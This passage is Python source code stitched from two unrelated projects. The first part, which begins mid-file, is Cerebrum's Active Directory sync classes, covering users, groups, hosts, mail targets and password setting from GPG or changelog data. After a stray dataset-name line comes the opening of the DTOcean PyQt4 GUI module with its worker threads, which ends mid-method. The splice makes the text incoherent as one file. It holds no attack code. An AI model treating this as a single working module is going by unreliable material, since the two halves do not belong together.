if ent: ent.maildata.setdefault('forward', []).append( row['forward_to']) i += 1 self.logger.debug("Found %d forward addresses" % i) def fetch_homes(self): """Fetch all home directories for the the users. The User objects gets filled with a list of all its home directories in the L{home} attribute, which is used according to L{ConfigUtils.AttrConfig.HomeAttr}. """ homespreads = set() # Go through config and see what info needs to be fetched: for atr in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.HomeAttr): homespreads.add(atr.home_spread) if not homespreads: return self.logger.debug("Fetch home directories...") i = 0 for sp in homespreads: for row in self.ac.list_account_home( home_spread=sp, account_spread=self.config['target_spread']): ent = self.id2entity.get(row['account_id']) if ent: if not hasattr(ent, 'home'): ent.home = {} tmp = {} tmp['status'] = row['status'] tmp['homedir'] = self.ac.resolve_homedir( account_name=row['entity_name'], disk_path=row['path'], home=row['home'], spread=row['home_spread']) ent.home[row['home_spread']] = tmp i += 1 self.logger.debug("Found %d account home directories" % i) def fetch_posix(self): """Fetch the POSIX data for users, if needed. """ if not ConfigUtils.has_config(self.config['attributes'], ConfigUtils.PosixAttr): # No need for any posix data return self.logger.debug("Fetch posix data...") pg = Factory.get('PosixGroup')(self.db) pu = Factory.get('PosixUser')(self.db) # Map from group_id to GID: posix_group_id2gid = dict((eid, gid) for eid, gid in pg.list_posix_groups()) self.logger.debug("Found %d posix groups", len(posix_group_id2gid)) i = 0 for row in pu.list_posix_users(): ent = self.id2entity.get(row['account_id'], None) if ent: if not hasattr(ent, 'posix'): ent.posix = {} ent.posix['uid'] = int(row['posix_uid']) or '' ent.posix['gid'] = posix_group_id2gid.get(row['gid'], '') ent.posix['shell'] = str(self.co.PosixShell(row['shell'])) ent.posix['gecos'] = row['gecos'] i += 1 self.logger.debug("Found %d posix users", i) def fetch_passwords(self): """Fetch passwords for accounts that are new in AD. The passwords are stored in L{self.uname2pasw}, and passwords are only fetched for entities where the attribute L{in_ad} is False. This should therefore be called after the processing of existing entities and before processing the entities that doesn't exist in AD yet. The passwords are fetched from the changelog, and only the last and newest password is used. """ self.logger.debug("Fetching passwords for accounts not in AD") self.uname2pasw = {} for row in reversed( tuple(self.db.get_log_events( types=self.clconst.account_password))): try: ent = self.id2entity[row['subject_entity']] except KeyError: # We continue past this event. Since account is not in the # list of users who should get their password set. continue if ent.entity_name in self.uname2pasw: # We only need the last password for each acount continue if ent.in_ad: # Account is already in AD continue # If a GPG recipient ID is set, we fetch the encrypted password if self.config.get('gpg_recipient_id', None): gpg_db = GpgData(self.db) for tag in ('password-base64', 'password'): gpg_data = gpg_db.get_messages_for_recipient( entity_id=ent.entity_id, tag=tag, recipient=self.config['gpg_recipient_id'], latest=True) if gpg_data: break else: self.logger.debug2( 'No GPG encrypted password found for %s', ent.entity_name) continue password = gpg_data[0].get('message') self.uname2pasw[ent.entity_name] = (password, tag) else: # we fetch the plaintext from the changelog try: password = json.loads( row['change_params'])['password'] self.uname2pasw[ent.entity_name] = (password, 'plaintext') except (KeyError, TypeError, IndexError): self.logger.debug2('No plaintext loadable for %s', ent.entity_name) def process_ad_object(self, ad_object): """Compare a User object retrieved from AD with Cerebrum. Overriden for user specific functionality. """ if not super(UserSync, self).process_ad_object(ad_object): return False ent = self.adid2entity.get(ad_object['Name'].lower()) if ent.active: if not ad_object.get('Enabled', False): self.enable_object(ad_object) def process_entities_not_in_ad(self): """Start processing users not in AD. Depends on the generic superclass' functionality. """ # Cache the passwords for the entities not in AD: self.fetch_passwords() return super(UserSync, self).process_entities_not_in_ad() def process_entity_not_in_ad(self, ent): """Process an account that doesn't exist in AD, yet. We should create and update a User object in AD for those who are not in AD yet. The object should then be updated as normal objects. @type: CerebrumEntity @param: An object representing an entity in Cerebrum. """ ad_object = super(UserSync, self).process_entity_not_in_ad(ent) if not ad_object: self.logger.warn("What to do? Got None from super for: %s" % ent.entity_name) return # TODO: Move this to create_object() instead! Could then add the # password in the creating call - would be faster. if ent.ad_new: # TODO: Is this OK? Should we diable the object? # We collect the password from the cache, as generated by # fetch_passwords(). If there is no plaintext available for # the user, set an empty one. try: password, tag = self.uname2pasw[ent.entity_name] except KeyError: self.logger.warn('No password set for %s' % ent.entity_name) return ad_object self.logger.debug('Trying to set pw for %s', ent.entity_name) if self.server.set_password(ad_object['DistinguishedName'], password, password_type=tag): # As a security feature, you have to explicitly enable the # account after a valid password has been set. if ent.active: self.enable_object(ad_object) # If more functionality gets put here, you should check if the entity # is active, and not update it if the config says so (downgrade). return ad_object def process_cl_event(self, row): """Process a given ChangeLog event for users. Overriden to support account specific changes. @type row: dict of db-row @param row: A db-row, as returned from L{changelog.get_events()}. This is the row that should be processed. @rtype: bool @return: The result from the handler. Should be True if the sync succeeded or there was no need for the change to be synced, i.e. the log change could be confirmed. Should only return False if the change needs to be redone. @raise UnhandledChangeTypeError? TODO: Should we have our own exception class that is used if the method does not know what to do with a given change type? Could then be used by subclasses. @raise TODO: TODO: What exceptions is expected here? """ # TODO: Should we create a new account instance per call, to support # threading? self.ac.clear() try: self.ac.find(row['subject_entity']) except Errors.NotFoundError: pass else: if hasattr(self.co, 'trait_account_exempt') and \ self.co.trait_account_exempt in self.ac.get_traits(): self.logger.debug('Account {0} has trait {1}, ignoring'.format( self.ac.entity_id, str(self.co.trait_account_exempt))) return False # TODO: clean up code when more functionality is added! if row['change_type_id'] == self.clconst.account_password: if self.ac.is_expired(): self.logger.debug("Account %s is expired, ignoring", row['subject_entity']) return True if not self.ac.has_spread(self.config['target_spread']): self.logger.debug("Account %s without target_spread, ignoring", row['subject_entity']) return False name = self._format_name(self.ac.account_name) # If a GPG recipient ID is set, we fetch the encrypted password tag = 'plaintext' if self.config.get('gpg_recipient_id', None): gpg_db = GpgData(self.db) for tag in ('password-base64', 'password'): gpg_data = gpg_db.get_messages_for_recipient( entity_id=self.ac.entity_id, tag=tag, recipient=self.config['gpg_recipient_id'], latest=True) if gpg_data: break else: self.logger.warn( 'Account %s missing GPG encrypted password', row['subject_entity']) return False pw = gpg_data[0].get('message') else: # we fetch the plaintext from the changelog try: pw = json.loads(row['change_params'])['password'] except (KeyError, TypeError, IndexError): self.logger.warn("Account %s missing plaintext password", row['subject_entity']) return False if not isinstance(pw, unicode): try: pw = unicode(pw, 'UTF-8') except UnicodeDecodeError: pw = unicode(pw, 'ISO-8859-1') return self.server.set_password(name, pw, password_type=tag) elif row['change_type_id'] in (self.clconst.quarantine_add, self.clconst.quarantine_del, self.clconst.quarantine_mod, self.clconst.quarantine_refresh): change = self.clconst.ChangeType(row['change_type_id']) if not hasattr(self.ac, 'entity_id'): self.logger.debug( "Can only handle %s for accounts, entity_id: %s", change, row['subject_entity']) # Remove the event, since we can't do anything about it. Also, # the fullsync will take care of any weird situations. return True if not self.ac.has_spread(self.config['target_spread']): self.logger.debug("Account %s without target_spread, ignoring", row['subject_entity']) # The fullsync takes care of disabling accounts without AD # spread. return True ent = self.cache_entity(self.ac.entity_id, self.ac.account_name) # TODO/TBD: Should we trigger the enable/disable scripts here? We # have no AD-object to pass to the self.script function... # simple_object = dict(DistinguishedName=ent.dn) # self.*able_object(simple_object) if QuarantineHandler.check_entity_quarantines( self.db, self.ac.entity_id).is_locked(): return self.server.disable_object(ent.dn) else: return self.server.enable_object(ent.dn) # Other change types handled by other classes: return super(UserSync, self).process_cl_event(row) class GroupSync(BaseSync): """Sync for Cerebrum groups in AD. This contains generic functionality for handling groups for AD, to add more functionality you need to subclass this. TODO: Should subclasses handle distribution and security groups? How should we treat those? Need to describe it better the specifications! """ # The default object class of the objects to work on. Used if not the # config says otherwise. default_ad_object_class = 'group' def __init__(self, *args, **kwargs): """Instantiate group specific functionality.""" super(GroupSync, self).__init__(*args, **kwargs) self.gr = Factory.get("Group")(self.db) self.pe = Factory.get("Person")(self.db) self.ac = Factory.get("Account")(self.db) def configure(self, config_args): """Add extra configuration that is specific for groups. @type config_args: dict @param config_args: Configuration data from cereconf and/or command line options. """ super(GroupSync, self).configure(config_args) # Check if the group type is a valid type: if self.config['group_type'] not in ('security', 'distribution'): raise Exception('Invalid group type: %s' % self.config['group_type']) self.new_group_type = self.config['group_type'].lower() # Check if the group scope is a valid scope: if self.config['group_scope'].lower() not in ('global', 'universal'): raise Exception('Invalid group scope: %s' % self.config['group_scope']) self.new_group_scope = self.config['group_scope'].lower() def process_ad_object(self, ad_object): """Process a Group object retrieved from AD. Do the basic sync and update the member list for the group. """ if not super(GroupSync, self).process_ad_object(ad_object): return False # ent = self.adid2entity.get(ad_object['Name'].lower()) # dn = ad_object['DistinguishedName'] # TBD: or 'Name'? # TODO: more functionality for groups? def post_process(self): """Extra sync functionality for groups.""" super(GroupSync, self).post_process() def fetch_cerebrum_data(self): """Fetch data from Cerebrum that is needed for syncing groups. What kind of data that should be gathered is up to what attributes are set in the config to be exported. There's for instance no need to fetch titles if the attribute Title is not used. Subclasses could however override this, if they need such data for other usage. """ super(GroupSync, self).fetch_cerebrum_data() self.fetch_posix() self.fetch_members_by_spread() def fetch_cerebrum_entities(self): """Fetch the groups from Cerebrum that should be compared against AD. The configuration is used to know what to cache. All data is put in a list, and each entity is put into an object from L{Cerebrum.modules.ad2.CerebrumData} or a subclass, to make it easier to later compare with AD objects. Could be subclassed to fetch more data about each entity to support extra functionality from AD and to override settings. """ self.logger.debug("Fetching groups with spread %s" % (self.config['target_spread'],)) subset = self.config.get('subset') if hasattr(self.co, 'trait_group_exempt'): for row in self._entity_trait.list_traits( self.co.trait_group_exempt): self.exempt_entities.append(int(row['entity_id'])) for row in self.gr.search(spread=self.config['target_spread']): name = row["name"] # For testing or special cases where we only want to sync a subset # of entities. The subset should contain the entity names, e.g. # usernames or group names. if subset and name not in subset: continue self.entities[name] = self.cache_entity( int(row['group_id']), name, description=row['description']) def _configure_group_member_spreads(self): """Process configuration and set needed parameters for extracting extra AD information about group members with needed spreads. """ self.config['group_member_spreads'] = dict() # There is sanity check. All spreads defined in MemberAttr should have # their own syncs defined too for member_atr in ConfigUtils.get_config_by_type( self.config['attributes'], ConfigUtils.MemberAttr): for spr in member_atr.member_spreads: spr_name = str(spr) if spr_name not in adconf.SYNCS: raise Exception( "Illegal spread in 'Member' attribute: %s. Only" " spreads that have their own sync configured can be" " used in the attribute" % spr_name) if spr_name == self.config['target_spread']: mem_obj = self mem_config = self.config else: mem_obj = self.get_class(sync_type=spr_name)(self.db, self.logger) mem_config = adconf.SYNCS[spr_name].copy() # Drain the list of attributes, to avoid fetching too much # data we don't need when running the sync: mem_config['attributes'] = {} mem_config['sync_type'] = spr_name mem_obj.configure(mem_config) self.config['group_member_spreads'][spr_name] = { 'config': mem_config, 'spread': spr, 'sync': mem_obj, } def _fetch_group_member_entities(self): """Extract entities with needed spreads and make AD objects out of them. """ self.id2extraentity = dict() # Need to process spreads one by one, since each has its config for spread_var in self.config['group_member_spreads'].itervalues(): spread = spread_var['spread'] self.logger.debug("Fetch members for spread: %s", spread) mem_sync = spread_var['sync'] # Fetch Cerebrum data for all sync classes except for self: if mem_sync != self: self.logger.debug2("Starting member's sync of: %s", mem_sync) mem_sync.fetch_cerebrum_data() mem_sync.calculate_ad_values() self.logger.debug2("Member sync done") self.id2extraentity.update(mem_sync.id2entity) def _fetch_person2primary_mapping(self): """Generate a mapping from person id to its primary account id. TODO: This might be moved upwards to the L{BaseSync} if needed in syncs of other entity types. """ self.logger.debug2('Fetch mapping of person ids to primary accounts') # Only fetch the list once if getattr(self, 'personid2primary', False): return self.personid2primary = dict((r['person_id'], r['account_id']) for r in self.ac.list_accounts_by_type( primary_only=True)) # A small optimisation could be to specify account_spreads for only # returning the accounts we really need. self.logger.debug2('Found %d persons mapped to a primary account', len(self.personid2primary)) def _get_group_hierarchy(self, person2primary=False): """Get mappings of every group and every membership. This is a costly method, as its fetches _all_ groups and _all_ its memberships from the database. This took for instance 25 seconds for 10000 groups in the test environment. The advantage of this is that we cache the data you would otherwise need to ask the db about for each group. TODO: Note that we are, by specifying L{person2primary} here, overriding the person2primary setting for all member attributes, and does not respect each attribute's setting of this. Might need to handle this later, and not set it globally. @type person2primary: bool @param person2primary: If set to True, every person that is a member is swapped out with its primary account from the L{self.personid2primary} dict. @rtype: tuple(dict, dict) @return: Two mappings, one from group_id to all its member_ids, and one from member_id to all its group_ids. Both dicts contain the same data, but both is returned for convenience. """ groups = dict() mem2group = dict() for row in self.gr.search_members(): # TODO: Should we skip entities not in either self.id2entity nor # self.id2extraentity? groups.setdefault(row['group_id'], set()).add(row['member_id']) if person2primary and row['member_type'] == self.co.entity_person: # Add persons by their primary account. Note that the primary # account must also have the correct AD spread to be added. account_id = self.personid2primary.get(row['member_id']) if account_id: self.logger.debug3("Adding person %s by primary: %s", row['member_id'], account_id) mem2group.setdefault(account_id, set()).add(row['group_id']) else: self.logger.debug2("Person %s has no primary account", row['member_id']) else: mem2group.setdefault(row['member_id'], set()).add(row['group_id']) return groups, mem2group def fetch_members_by_spread(self): """Fetch the group members by the member spreads defined by the config. This method only fetches what is needed. It will not fetch anything if no L{MemberAttr} attribute is defined. """ if not ConfigUtils.has_config(self.config['attributes'], ConfigUtils.MemberAttr): # No need for such data return self.logger.debug("Fetch group members by spreads...") self._configure_group_member_spreads() self._fetch_group_member_entities() person2primary = False if any(c.person2primary for c in ConfigUtils.get_config_by_type(self.config['attributes'], ConfigUtils.MemberAttr)): person2primary = True self._fetch_person2primary_mapping() # Cache all group memberships: groups, mem2group = self._get_group_hierarchy(person2primary) self.logger.debug2("Mapped %d groups with members", len(groups)) self.logger.debug2("Mapped %d groups with AD spread", len(filter(lambda x: x in self.id2entity, groups))) self.logger.debug2("Mapped %d members in total", len(mem2group)) def get_parents_in_ad(groupid): """Helper method for returning a group's parent AD groups. You will get a list of all the groups that is in this AD-sync, i.e. has the correct AD spread, and which has the given group as a direct or indirect member. @type groupid: int @param groupid: The given group's entity_id. @rtype: set @return: List of all the group-ids of the groups that has the given group as a member, either direct or indirect. Could return an empty set if no parents were found, or none of the parent groups were targeted in the AD sync. """ ret = set() for parent in mem2group.get(groupid, ()): # Check if already processed, to avoid loops caused by two # groups being (indirect) members of each others: if parent in ret: continue if parent in self.id2entity: ret.add(parent) ret.update(get_parents_in_ad(parent)) return ret # Go through all group memberships and add those relevant for AD in the # proper groups, either directly or indirectly: i = 0 for group_id, members in groups.iteritems(): # Target the parent groups if the group is not supposed to be in # AD: if group_id in self.id2entity: target_groups = (group_id,) else: target_groups = get_parents_in_ad(group_id) if not target_groups: continue # Go through each member in the group and add it to all the parent # groups that should be in AD: for mem in members: # Select the primary account if the member is a person. If the # member is some other entity, use the member: if getattr(self, 'personid2primary', False): mem = self.personid2primary.get(mem, mem) member = self.id2extraentity.get(mem) if not member: continue for t_id in target_groups: ent = self.id2entity[t_id] if not hasattr(ent, 'members_by_spread'): # TODO: might want a set or something similar: ent.members_by_spread = [] ent.members_by_spread.append(member) self.logger.debug3("Added %s to group %s (originally in %s)", member, ent, group_id) i += 1 self.logger.debug2("Fetched %d memberships", i) def fetch_posix(self): """Fetch the POSIX data for groups, if needed. """ if not ConfigUtils.has_config(self.config['attributes'], ConfigUtils.PosixAttr): # No need for any posix data return self.logger.debug("Fetch posix data...") pg = Factory.get('PosixGroup')(self.db) i = 0 for row in pg.list_posix_groups(): ent = self.id2entity.get(row['group_id'], None) if ent: if not hasattr(ent, 'posix'): ent.posix = {} ent.posix['gid'] = int(row['posix_gid']) or '' i += 1 self.logger.debug("Found %d posix groups", i) def start_fetch_ad_data(self, object_class=None, attributes=dict()): """Ask AD to start generating the data we need about groups. Could be subclassed to get more/other data. TODO: add attributes and object_class and maybe other settings as input parameters. @rtype: string @return: A CommandId that is the servere reference to later get the data that has been generated. """ # TODO: some extra attributes to add? return super(GroupSync, self).start_fetch_ad_data( object_class=object_class, attributes=attributes) def sync_ad_attribute(self, ent, attribute, cere_elements, ad_elements): """Compare a given attribute and update AD with the differences. This is a generic method for updating any multivalued attribute in AD. The given data must be given. """ # TODO pass class HostSync(BaseSync): """Sync for Cerebrum hosts to 'computer' objects in AD. This contains simple functionality for adding hosts to AD. Note that this only creates the Computer object in AD, without connecting it to a real host. That normally happens by manually authenticating the computer in the domain. """ # The default object class of the objects to work on. Used if not the # config says otherwise. default_ad_object_class = 'computer' def __init__(self, *args, **kwargs): """Instantiate host specific functionality.""" super(HostSync, self).__init__(*args, **kwargs) self.host = Factory.get("Host")(self.db) def fetch_cerebrum_entities(self): """Fetch the entities from Cerebrum that should be compared against AD. The configuration is used to know what to cache. All data is put in a list, and each entity is put into an object from L{Cerebrum.modules.ad2.CerebrumData} or a subclass, to make it easier to later compare with AD objects. Could be subclassed to fetch more data about each entity to support extra functionality from AD and to override settings. """ self.logger.debug("Fetching hosts with spread: %s" % (self.config['target_spread'],)) subset = self.config.get('subset') for row in self.host.search(self.config['target_spread']): name = row["name"] if subset and name not in subset: continue self.entities[name] = self.cache_entity(int(row["host_id"]), name, row['description']) class MailTargetSync(BaseSync): """Extra sync functionality for getting MailTarget data. Entities could be connected to mailtargets in Cerebrum, e.g. with e-mail addresses, e-mail quota and spam settings. The retrievement of this data should be done in this class. """ def __init__(self, *args, **kwargs): """Instantiate the MailTarget objects.""" super(MailTargetSync, self).__init__(*args, **kwargs) self.mailtarget = Email.EmailTarget(self.db) self.mailquota = Email.EmailQuota(self.db) def fetch_cerebrum_data(self): """Fetch the needed mail data for the entities.""" super(MailTargetSync, self).fetch_cerebrum_data() # Map from target_id to entity_id: targetid2entityid = dict((r['target_id'], r['target_entity_id']) for r in self.mailtarget.list_email_targets_ext()) for target_id, entity_id in targetid2entityid.iteritems(): ent = self.entities.get(entity_id) if ent: ent.maildata['target_id'] = target_id # E-mail quotas: for row in self.mailquota.list_email_quota_ext(): if row['target_id'] not in targetid2entityid: self.logger.debug2("Ignoring quotas for non-cached target: %s", row['target_id']) continue ent = self.id2entity.get(targetid2entityid[row['target_id']]) if ent: ent.maildata['quota_soft'] = row['quota_soft'] ent.maildata['quota_hard'] = row['quota_hard'] class ProxyAddressesCompare(BaseSync): """Entities that have ProxyAddresses attribute should have a special entity comparison routine. """ def attribute_mismatch(self, ent, atr, c, a): """Compare an attribute between Cerebrum and AD. Overridden to handle ProxyAddresses specifically. The ProxyAddresses attribute is also updated by Office365, with addresses starting with x500. We should ignore such attributes when comparing, to avoid having to update 20000 objects at each run. We should only take care of SMTP addresses. TODO: We should rather have this configurable instead of hardcoding it. """ if atr.lower() == 'proxyaddresses' and c and a: advalues = list(v for v in a if not v.startswith('x500:')) cevalues = list(c) to_add = set(cevalues).difference(advalues) to_remove = set(advalues).difference(cevalues) return (to_add or to_remove, list(to_add), list(to_remove)) return super(ProxyAddressesCompare, self).attribute_mismatch(ent, atr, c, a)
codeparrot/github-code-clean
# -*- coding: utf-8 -*- # Copyright (C) 2016-2018 Mathew Topper # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. """ Created on Thu Apr 23 12:51:14 2015 .. moduleauthor:: Mathew Topper <mathew.topper@dataonlygreater.com> """ import os import sys import json import shutil import logging import tarfile import tempfile import traceback from collections import namedtuple import sip import pandas as pd import matplotlib.pyplot as plt from win32event import CreateMutex from PyQt4 import QtGui, QtCore from dtocean_core.menu import ProjectMenu, ModuleMenu, ThemeMenu, DataMenu from dtocean_core.pipeline import set_output_scope from dtocean_core.utils.database import (database_from_files, database_to_files, filter_map, get_database, get_table_map) from . import get_log_dir from .help import HelpWidget from .menu import DBSelector from .simulation import SimulationDock from .extensions import GUIStrategyManager, GUIToolManager from .pipeline import (PipeLine, SectionControl, HubControl, InputBranchControl, OutputBranchControl, InputVarControl, OutputVarControl) from .widgets.central import (ContextArea, DetailsWidget, FileManagerWidget, PlotManagerWidget, LevelComparison, SimulationComparison) from .widgets.dialogs import (DataCheck, MainWindow, ProjProperties, Shuttle, ProgressBar, About) from .widgets.display import (MPLWidget, get_current_filetypes, save_current_figure) from .widgets.docks import LogDock # Set up logging module_logger = logging.getLogger(__name__) class ThreadReadRaw(QtCore.QThread): """QThread for reading raw data""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, shell, variable, value): super(ThreadReadRaw, self).__init__() self._shell = shell self._variable = variable self._value = value return def run(self): try: self._variable.set_raw_interface(self._shell.core, self._value) self._variable.read(self._shell.core, self._shell.project) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadReadTest(QtCore.QThread): """QThread for reading test data""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, shell, control , path, overwrite): super(ThreadReadTest, self).__init__() self.shell = shell self.control = control self.path = path self.overwrite = overwrite return def run(self): try: self.control._read_test_data(self.shell, self.path, self.overwrite) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadOpen(QtCore.QThread): """QThread for opening save files""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, file_path): super(ThreadOpen, self).__init__() self._core = core self._file_path = file_path self._project = None self._current_scope = None self._strategy = None self._project_path = None return def run(self): try: load_path = str(self._file_path) dto_dir_path = None prj_file_path = None sco_file_path = None stg_file_path = None # Check the extension if os.path.splitext(load_path)[1] == ".dto": dto_dir_path = tempfile.mkdtemp() tar = tarfile.open(load_path) tar.extractall(dto_dir_path) prj_file_path = os.path.join(dto_dir_path, "project.prj") sco_file_path = os.path.join(dto_dir_path, "scope.json") stg_file_path = os.path.join(dto_dir_path, "strategy.pkl") if not os.path.isfile(stg_file_path): stg_file_path = None elif os.path.splitext(load_path)[1] == ".prj": prj_file_path = load_path else: errStr = ("The file path must be a file with either .dto or " ".prj extension") raise ValueError(errStr) # Load up the project load_project = self._core.load_project(prj_file_path) self._project = load_project # Load up the scope if one was found if sco_file_path is not None: with open(sco_file_path, 'rb') as json_file: self._current_scope = json.load(json_file) else: self._current_scope = "global" # Load up the strategy if one was found if stg_file_path is not None: strategy_manager = GUIStrategyManager() self._strategy = strategy_manager.load_strategy(stg_file_path) else: self._strategy = None # Record the path after a successful load self._project_path = load_path # Delete temp directory if dto_dir_path is not None: shutil.rmtree(dto_dir_path) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadSave(QtCore.QThread): """QThread for saving files""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, project, save_path, current_scope, strategy): super(ThreadSave, self).__init__() self._core = core self._project = project self._save_path = save_path self._current_scope = current_scope self._strategy = strategy return def run(self): try: if self._save_path is None: errStr = ("A file path must be provided in order to save a " "project") raise ValueError(errStr) # Check the extension if os.path.splitext(self._save_path)[1] not in [".dto", ".prj"]: errStr = ("The file path must be a file with either .dto or " ".prj extension") raise ValueError(errStr) dto_dir_path = tempfile.mkdtemp() # Dump the project prj_file_path = os.path.join(dto_dir_path, "project.prj") self._core.dump_project(self._project, prj_file_path) # If saving a project file only if os.path.splitext(self._save_path)[1] == ".prj": shutil.move(prj_file_path, self._save_path) shutil.rmtree(dto_dir_path) self.taskFinished.emit() return # Dump the output scope sco_file_path = os.path.join(dto_dir_path, "scope.json") with open(sco_file_path, 'wb') as json_file: json.dump(self._current_scope, json_file) # Set the standard archive contents arch_files = [prj_file_path, sco_file_path] arch_paths = ["project.prj", "scope.json"] # Dump the strategy (if there is one) if self._strategy is not None: strategy_manager = GUIStrategyManager() stg_file_path = os.path.join(dto_dir_path, "strategy.pkl") strategy_manager.dump_strategy(self._strategy, stg_file_path) arch_files.append(stg_file_path) arch_paths.append("strategy.pkl") # Now tar the files together dto_file_name = os.path.split(self._save_path)[1] tar_file_name = "{}.tar".format(dto_file_name) archive = tarfile.open(tar_file_name, "w") for arch_file, arch_path in zip(arch_files, arch_paths): archive.add(arch_file, arcname=arch_path) archive.close() shutil.move(tar_file_name, self._save_path) shutil.rmtree(dto_dir_path) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadDataFlow(QtCore.QThread): """QThread for initiating the dataflow""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, pipeline, shell): super(ThreadDataFlow, self).__init__() self.pipeline = pipeline self.shell = shell self.project_menu = ProjectMenu() return def run(self): try: # Activate modules and themes self.shell.activate_module_queue() self.shell.activate_theme_queue() # Check if filters can be initiated if ("Database Filtering Interface" in self.shell.project_menu.get_active(self.shell.core, self.shell.project)): self.project_menu.initiate_filter(self.shell.core, self.shell.project) self.project_menu.initiate_dataflow(self.shell.core, self.shell.project) # Execute the project boundaries interface if ("Project Boundaries Interface" in self.shell.project_menu.get_active(self.shell.core, self.shell.project)): self.shell.project_menu._execute( self.shell.core, self.shell.project, "Project Boundaries Interface") self.pipeline._read_auto(self.shell) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadCurrent(QtCore.QThread): """QThread for executing the current module""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, project): super(ThreadCurrent, self).__init__() self._core = core self._project = project self._module_menu = ModuleMenu() return def run(self): try: # Block signals self._core.blockSignals(True) self._project.blockSignals(True) self._module_menu.execute_current(self._core, self._project) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() return class ThreadThemes(QtCore.QThread): """QThread for executing all themes""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, project): super(ThreadThemes, self).__init__() self._core = core self._project = project self._theme_menu = ThemeMenu() return def run(self): try: # Block signals self._core.blockSignals(True) self._project.blockSignals(True) self._theme_menu.execute_all(self._core, self._project) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() return class ThreadStrategy(QtCore.QThread): """QThread for executing a strategy""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, project, strategy): super(ThreadStrategy, self).__init__() self._core = core self._project = project self._strategy = strategy return def run(self): try: # Block signals self._core.blockSignals(True) self._project.blockSignals(True) self._strategy.execute(self._core, self._project) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() return class ThreadTool(QtCore.QThread): """QThread for executing dtocean-wec""" error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, project, tool): super(ThreadTool, self).__init__() self._tool = tool self._core = core self._project = project self._tool_manager = GUIToolManager() return def run(self): try: self._tool_manager.execute_tool(self._core, self._project, self._tool) except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) return class ThreadDump(QtCore.QThread): """QThread for executing database dump""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, credentials, root_path, selected): super(ThreadDump, self).__init__() self._credentials = credentials self._root_path = root_path self._selected = selected return def run(self): try: db = get_database(self._credentials, timeout=60) table_list = get_table_map() # Filter the table if required selected = str(self._selected).lower() if selected != "all": filtered_dict = filter_map(table_list, selected) table_list = [filtered_dict] # make a directory if required root_path = str(self._root_path) if not os.path.exists(root_path): os.makedirs(root_path) database_to_files(root_path, table_list, db, print_function=module_logger.info) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadLoad(QtCore.QThread): """QThread for executing database dump""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, credentials, root_path, selected): super(ThreadLoad, self).__init__() self._credentials = credentials self._root_path = root_path self._selected = selected return def run(self): try: db = get_database(self._credentials, timeout=60) table_list = get_table_map() # Filter the table if required selected = str(self._selected).lower() if selected != "all": filtered_dict = filter_map(table_list, selected) table_list = [filtered_dict] database_from_files(str(self._root_path), table_list, db, print_function=module_logger.info) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) self.taskFinished.emit() return class ThreadScope(QtCore.QThread): """QThread for setting the output scope""" taskFinished = QtCore.pyqtSignal() error_detected = QtCore.pyqtSignal(object, object, object) def __init__(self, core, project, scope): super(ThreadScope, self).__init__() self._core = core self._project = project self._scope = scope return def run(self): try: # Block signals self._core.blockSignals(True) self._project.blockSignals(True) # Switch the output scope on all simulations for sim_idx in xrange(len(self._project)): set_output_scope(self._core, self._project, self._scope, sim_index=sim_idx) # Reinstate signals and emit self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() except: etype, evalue, etraceback = sys.exc_info() self.error_detected.emit(etype, evalue, etraceback) # Reinstate signals and emit 